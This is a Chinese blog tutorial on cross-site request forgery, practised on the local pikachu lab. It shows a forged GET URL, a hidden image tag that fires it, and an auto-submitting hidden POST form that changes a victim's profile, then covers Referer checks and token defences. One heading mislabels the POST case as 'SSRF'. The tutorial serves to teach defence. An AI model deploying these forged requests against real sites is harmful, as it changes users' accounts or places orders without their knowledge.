跨站请求伪造(CSRF)的攻击方式简单理解就是：攻击者盗用了用户的身份，以用户身份向客户端发送请求并被执行。造成的后果有：以用户名义发送信息，或者是修改信息、发送购物请求等。
CSRF的原理
在用户登录网页时，服务器往往会生成一个cookie,在服务器内部，记下了客户端的ip，当客户端的ip带着这个cookid再一次访问该网页时，用户就不需要重复登录操作了，一进入网页就是登录状态，而当生成的cookie时间到期时，用户再一次访问就又需要登录了。
CSRF漏洞就是黑客在用户的cookie未到期之前，让用户点击一个url，然后黑客在网页中放置恶意代码，从而向攻击网站发送请求。
CSRF实战(GET)
光说原理可能有点儿绕，直接本地搭建靶场来理解(pikachu 靶场)。
这里有一个用户登录后修改个人信息的网页，
当我们把信息修改后，提交抓包观察后发现，就是简单的通过get传入信息，进行修改
那么我们可以构造一个payload
http://192.168.0.126/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=456&add=789&email=456&submit=submit
这是一串url,当一个啥也不懂的小白在自己登录账号后，并且cooie为过期的情况下点击了这个连接，那么他的信息就已经被修改了，这种方式 太明显了，稍微懂一点网络安全的人通过判断url?后面的那串字符都不会点击
然而道高一尺魔高一丈，假如黑客自己在服务器上搭建了一个网页，假设域名就是www.abcd113.com，看着很正常对吧，然而网页内部有这么一串代码,当用户点击网页后，这串代码就自动执行了
<img src=http://192.168.0.126:8081//pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=ss&add=789&email=456&submit=submit>
这里我建立了一个1.html
打开网页后发现啥也没有，但是此时网页已经以用户身份给攻击网站发送了请求，个人信息已经被修改了，通过这种方式就可以做到神不知鬼不觉，被修改后用户自己甚至还察觉不到原因。
以上的方式是通过GET方式进行跨站请求，简单的甚至不需要自己搭建网站就能够完成攻击
SSRF POST
上面我们是通过get 的方式达到跨站请求效果，这次如果服务器使用POST来接收修改信息，我们同样可以使用通过建立网站，内部创造一个表单达到攻击目的。
这次通过抓包，发现是POST提交方式
但这样同样有攻击漏洞，攻击者同样可以创造一个www.abcd123.com域名的网站
在网站内部可以加入以下表单
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.0.126:8081/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="hidden" name="sex" value="boy" />
<input id="phonenum" type="hidden" name="phonenum" value="54213" />
<input id="add" type="hidden" name="add" value="hacker" />
<input id="email" type="hidden" name="email" value="sdsd" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
当用户点击这个url，也就是www.abc123.com时，网站同样也会遭受攻击
如何防范CSRF
简单讲述了什么是CSRF，接下来重点便是怎么防护
从上面案例也知道，当修改信息时，如果不做任何防护手段很容易被恶意修改。倘若是购物软件，甚至可以利用该漏洞达到请求下单的目的。
那么如何防范有下面这几个方式
- 验证HTTP Referer来源
在HTTP报文中，Referer是用来记录这条报文的请求地址，假如我们是银行，当用户提交转账申请时，可以追溯报文中的Referer，设置一个白名单，仅允许来源是银行的URL来请求申请，防止第三方黑客网页，跨站请求。 - POST提交
同样假设我们是银行服务器，上个方法追溯到了Referer的来源，基本屏蔽了大部分的跨站请求，但是这种方法就相当于把安全交给了HTTP协议，自身网页仍然是有漏洞。有些公司，为了防止内网某些信息泄露，甚至在浏览器上拒绝提供Refer(现在浏览器是有拒绝Refer选项的)，若是网页收到这些没有Refer的用户的请求，自动认为是CSRF攻击，这种方法终究不是最保险的。 - 在请求地址种加入token
我的理解是，当用户获取一个表单，比如说打开了银行的转账界面，这时银行会先生成一个随机的Token值，然后把页面返回给用户，当用户提交申请时就会自动带着这个token值，服务器会拦截这个token值然后二者比对，相同后才会执行用户请求，由于token是随机的，黑客也不容易伪造。
下面是我觉得写的特别好的两篇关于CSRF的博客(别人大佬写的)
这一篇把CSRF原理讲的特别地透
浅析CSRF攻击方式
这一篇我认为关于如何防范CSRF漏洞讲的特别好
CSRF攻击与防御